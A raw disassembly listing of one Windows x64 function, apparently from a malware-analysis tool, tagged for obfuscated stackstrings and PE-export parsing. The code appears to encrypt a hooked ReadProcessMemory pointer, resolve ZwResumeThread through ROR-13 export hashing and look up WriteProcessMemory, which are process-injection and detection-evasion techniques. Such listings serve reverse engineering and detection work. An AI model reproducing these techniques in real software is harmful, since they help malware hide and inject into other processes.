Function at 0x140005510
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1ee0]
mov eax, 0x1fe0
call fcn.14000ee20
sub rsp, rax
mov rax, qword [0x140017040]
xor rax, rsp
mov qword [rbp + 0x1ed0], rax
mov qword [rsp + 0x78], r9
mov r13, rdx
mov r15, rcx
xor r12d, r12d
mov edx, 0x20
lea rcx, [0x1400193b8]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
mov edx, 0x10
lea rdi, [0x140019320]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
mov rax, qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov qword [rbp - 0x50], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rbx, rax
lea r14, [0x140019330]
test rax, rax
jne 0x1400055db
lea rdx, str.Error_creating_context_for_encryption.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b210
mov rcx, rax
lea rdx, [0x14000b3f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [0x1400193d8], 0xffffffff
lea rdx, str.Error_encrypting_function_pointer.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
jmp 0x140005692
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rdx, rax
mov qword [rsp + 0x20], rdi
lea r9, [0x1400193b8]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, 1
je 0x14000560a
lea rdx, str.Error_initializing_AES_encryption.
jmp 0x1400055a2
mov dword [rsp + 0x20], 8
lea r9, [rbp - 0x50]
lea r8, [rbp - 0x5c]
mov rdx, r14
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, 1
je 0x140005637
lea rdx, str.Error_during_AES_encryption.
jmp 0x1400055a2
movsxd rdi, dword [rbp - 0x5c]
lea rdx, [r14 + rdi]
lea r8, [rbp - 0x5c]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, 1
je 0x14000565d
lea rdx, str.Error_finalizing_AES_encryption.
jmp 0x1400055a2
add edi, dword [rbp - 0x5c]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
mov dword [0x1400193d8], edi
cmp edi, 0xffffffff
jne 0x140005684
lea rdx, str.Error_encrypting_function_pointer.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
jmp 0x140005692
lea rdx, str.Function_pointer_encrypted_successfully.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000b210
lea rdx, [0x14000b3f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Original_function_pointer_encrypted_and_stored.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000b210
mov rcx, rax
lea rdx, [0x14000b3f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rsi, rax
lea rdx, str.Intercepted_ReadProcessMemory_call.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000b210
mov rcx, rax
lea rdx, [0x14000b3f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rbp - 0x50], r12
mov ebx, dword [0x1400193d8]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140005736
lea rdx, str.Error_creating_context_for_decryption.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b210
mov rcx, rax
lea rdx, [0x14000b3f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400057cc
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rdx, rax
lea rax, [0x140019320]
mov qword [rsp + 0x20], rax
lea r9, [0x1400193b8]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x14000576c
lea rdx, str.Error_initializing_AES_decryption.
jmp 0x140005715
mov dword [rsp + 0x20], ebx
mov r9, r14
lea r8, [rbp - 0x5c]
lea rdx, [rbp - 0x50]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x140005792
lea rdx, str.Error_during_AES_decryption.
jmp 0x140005715
movsxd rbx, dword [rbp - 0x5c]
lea rdx, [rbp - 0x50]
add rdx, rbx
lea r8, [rbp - 0x5c]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x1400057bb
lea rdx, str.Error_finalizing_AES_decryption.
jmp 0x140005715
add ebx, dword [rbp - 0x5c]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
cmp ebx, 0xffffffff
jne 0x14000583a
lea rdx, str.Error_decrypting_function_pointer.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b210
mov rcx, rax
lea rdx, [0x14000b3f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Failed_to_retrieve_original_function_pointer_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b210
mov rcx, rax
lea rdx, [0x14000b3f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.1400047c0
mov r8d, 0x208
lea rdx, [rbp + 0xab0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x140005857
mov eax, 0xfffffffe
jmp 0x1400092c5
mov rax, qword [rbp - 0x50]
test rax, rax
je 0x1400057ef
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call rax
jmp 0x140005812
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x5a8], xmm0
mov qword [rbp + 0x5b8], rax
lea rcx, [rbp + 0x5a8]
call fcn.140004fa0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x548], xmm0
mov qword [rbp + 0x558], 9
mov qword [rbp + 0x560], 0xf
movsd xmm0, qword [str.ntdll.dll]
movsd qword [rbp + 0x548], xmm0
movzx eax, byte [0x140010b60]
mov byte [rbp + 0x550], al
mov byte [rbp + 0x551], 0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], rax
lea r8, [rbp + 0x5a8]
lea rdx, [rbp + 0x548]
lea rcx, [rbp + 0x4f0]
call fcn.140005030
nop
lea r8, [rbp + 0x5a8]
lea rdx, [rbp + 0x4f0]
lea rcx, [rbp + 0x508]
call fcn.140005200
nop
lea r8, [rbp + 0x508]
cmp qword [rbp + 0x520], 0xf
cmova r8, qword [rbp + 0x508]
add r8, qword [rbp + 0x518]
lea rdx, [rbp + 0x508]
cmp qword [rbp + 0x520], 0xf
cmova rdx, qword [rbp + 0x508]
lea rcx, [rsp + 0x58]
call fcn.14000b450
nop
cmp qword [rax + 0x18], 7
jbe 0x14000594e
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [0x1400193b0], rax
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x1400059ab
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000599e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000599e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov rax, qword [0x1400193b0]
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], r12w
test rax, rax
jne 0x140005b76
lea rdx, str.Failed_to_get_handle_to
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b210
lea rdx, [rbp + 0x508]
cmp qword [rbp + 0x520], 0xf
cmova rdx, qword [rbp + 0x508]
mov r8, qword [rbp + 0x518]
mov rcx, rax
call fcn.14000c0a0
lea rdx, [0x14000b3f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x520]
cmp rdx, 0xf
jbe 0x140005a57
inc rdx
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a51
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005a51
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x518], r12
mov qword [rbp + 0x520], 0xf
mov byte [rbp + 0x508], 0
mov rcx, qword [rbp + 0x4f0]
test rcx, rcx
je 0x140005ac6
mov rdx, qword [rbp + 0x500]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005aae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005aae
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], r12
mov rdx, qword [rbp + 0x560]
cmp rdx, 0xf
jbe 0x140005b0b
inc rdx
mov rcx, qword [rbp + 0x548]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005b05
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005b05
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x558], r12
mov qword [rbp + 0x560], 0xf
mov byte [rbp + 0x548], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x140006a42
mov rdx, qword [rbp + 0x5b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005b66
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005b66
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov eax, 1
jmp 0x1400092c5
mov dword [rbp + 0x594], r12d
mov qword [rbp + 0x598], 0xc
mov qword [rbp + 0x5a0], 0xf
movsd xmm0, qword [str.kernel32.dll]
movsd qword [rbp + 0x588], xmm0
mov eax, dword [0x140010d10]
mov dword [rbp + 0x590], eax
mov byte [rbp + 0x594], 0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x530], xmm0
mov qword [rbp + 0x540], rax
lea r8, [rbp + 0x5a8]
lea rdx, [rbp + 0x588]
lea rcx, [rbp + 0x530]
call fcn.140005030
nop
lea r8, [rbp + 0x5a8]
lea rdx, [rbp + 0x530]
lea rcx, [rbp + 0x568]
call fcn.140005200
nop
lea rdx, [rbp + 0x568]
cmp qword [rbp + 0x580], 0xf
cmova rdx, qword [rbp + 0x568]
mov r8, qword [rbp + 0x578]
add r8, rdx
lea rdx, [rbp + 0x568]
cmp qword [rbp + 0x580], 0xf
cmova rdx, qword [rbp + 0x568]
lea rcx, [rsp + 0x58]
call fcn.14000b450
nop
cmp qword [rax + 0x18], 7
jbe 0x140005c4c
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r14, rax
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x140005c9e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005c98
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005c98
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], r12w
test r14, r14
jne 0x140005f62
lea rdx, str.Failed_to_get_handle_to_kernel32.dll
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b210
mov rcx, rax
lea rdx, [0x14000b3f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
nop
mov rdx, qword [rbp + 0x580]
cmp rdx, 0xf
jbe 0x140005d31
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005d2b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005d2b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x578], r12
mov qword [rbp + 0x580], 0xf
mov byte [rbp + 0x568], 0
mov rcx, qword [rbp + 0x530]
test rcx, rcx
je 0x140005da0
mov rdx, qword [rbp + 0x540]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005d88
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005d88
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x530], xmm0
mov qword [rbp + 0x540], r12
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0xf
jbe 0x140005de5
inc rdx
mov rcx, qword [rbp + 0x588]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005ddf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005ddf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x598], r12
mov qword [rbp + 0x5a0], 0xf
mov byte [rbp + 0x588], 0
mov rdx, qword [rbp + 0x520]
cmp rdx, 0xf
jbe 0x140005e43
inc rdx
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005e3d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005e3d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x518], r12
mov qword [rbp + 0x520], 0xf
mov byte [rbp + 0x508], 0
mov rcx, qword [rbp + 0x4f0]
test rcx, rcx
je 0x140005eb2
mov rdx, qword [rbp + 0x500]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005e9a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005e9a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], r12
mov rdx, qword [rbp + 0x560]
cmp rdx, 0xf
jbe 0x140005ef7
inc rdx
mov rcx, qword [rbp + 0x548]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005ef1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005ef1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x558], r12
mov qword [rbp + 0x560], 0xf
mov byte [rbp + 0x548], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x140006a42
mov rdx, qword [rbp + 0x5b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005f52
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005f52
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov eax, 1
jmp 0x1400092c5
mov ebx, r12d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
test edi, edi
jle 0x140006015
nop dword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rbp - 0x60], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x80000007
jge 0x140005fad
dec eax
or eax, 0xfffffff8
inc eax
mov edx, dword [rbp - 0x60]
mov ecx, eax
shl edx, cl
mov eax, dword [rbp - 0x60]
xor eax, edx
mov dword [rbp - 0x5c], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x80000007
jge 0x140005fd0
dec eax
or eax, 0xfffffff8
inc eax
mov edx, dword [rbp - 0x5c]
mov ecx, eax
sar edx, cl
mov eax, dword [rbp - 0x5c]
xor eax, edx
mov dword [rbp - 0x5c], eax
mov ecx, dword [rbp - 0x5c]
mov eax, dword [rbp - 0x60]
imul ecx, eax
mov dword [rbp - 0x50], ecx
inc ebx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
cmp ebx, edi
jl 0x140005f90
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r10, rax
test rax, rax
jne 0x1400062c3
lea rdx, str.Failed_to_load_ntdll.dll
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b210
mov rcx, rax
lea rdx, [0x14000b3f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x580]
cmp rdx, 0xf
jbe 0x140006097
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006091
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006091
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x578], r12
mov qword [rbp + 0x580], 0xf
mov byte [rbp + 0x568], 0
mov rcx, qword [rbp + 0x530]
test rcx, rcx
je 0x140006106
mov rdx, qword [rbp + 0x540]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400060ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400060ee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x530], xmm0
mov qword [rbp + 0x540], r12
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0xf
jbe 0x14000614b
inc rdx
mov rcx, qword [rbp + 0x588]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006145
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006145
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x598], r12
mov qword [rbp + 0x5a0], 0xf
mov byte [rbp + 0x588], 0
mov rdx, qword [rbp + 0x520]
cmp rdx, 0xf
jbe 0x1400061a9
inc rdx
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400061a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400061a3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x518], r12
mov qword [rbp + 0x520], 0xf
mov byte [rbp + 0x508], 0
mov rcx, qword [rbp + 0x4f0]
test rcx, rcx
je 0x140006218
mov rdx, qword [rbp + 0x500]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006200
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006200
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], r12
mov rdx, qword [rbp + 0x560]
cmp rdx, 0xf
jbe 0x14000625d
inc rdx
mov rcx, qword [rbp + 0x548]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006257
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006257
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x558], r12
mov qword [rbp + 0x560], 0xf
mov byte [rbp + 0x548], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x1400092c0
mov rdx, qword [rbp + 0x5b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400062b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400062b8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
jmp 0x1400092c0
mov dword [rbp + 0x6f8], 0x6552775a
mov dword [rbp + 0x6fc], 0x656d7573
mov dword [rbp + 0x700], 0x65726854
mov word [rbp + 0x704], 0x6461
mov byte [rbp + 0x706], 0
lea rcx, [rbp + 0x6f8]
mov edi, r12d
mov al, 0x5a
nop dword [rax]
ror edi, 0xd
movsx eax, al
add edi, eax
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x140006300
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [rax + r10 + 0x88]
add rcx, r10
mov r8d, dword [rcx + 0x20]
add r8, r10
mov ebx, dword [rcx + 0x24]
add rbx, r10
mov esi, dword [rcx + 0x1c]
add rsi, r10
mov r9d, r12d
mov r11d, dword [rcx + 0x18]
test r11d, r11d
je 0x140006374
mov edx, dword [r8]
add rdx, r10
mov ecx, r12d
movzx eax, byte [rdx]
test al, al
je 0x140006364
ror ecx, 0xd
movsx eax, al
add ecx, eax
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x140006351
cmp ecx, edi
je 0x1400063e3
inc r9d
add r8, 4
cmp r9d, r11d
jb 0x140006341
lea rdx, str.Failed_to_resolve_ZwResumeThread
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b210
mov rcx, rax
lea rdx, [0x14000b3f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x580]
cmp rdx, 0xf
jbe 0x14000909d
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009097
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009097
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov eax, r9d
movzx ecx, word [rbx + rax*2]
mov eax, dword [rsi + rcx*4]
add rax, r10
je 0x140006374
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_key_length]
mov edx, eax
lea rcx, [rbp + 0x770]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_iv_length]
mov edx, eax
lea rcx, [rbp + 0x750]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
lea rdx, str.WriteProcessMemory
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
mov rcx, qword [0x142e418e8]
mov qword [rbp + 8], rcx
lea rcx, [rbp + 0x5c0]
call fcn.140003260
nop
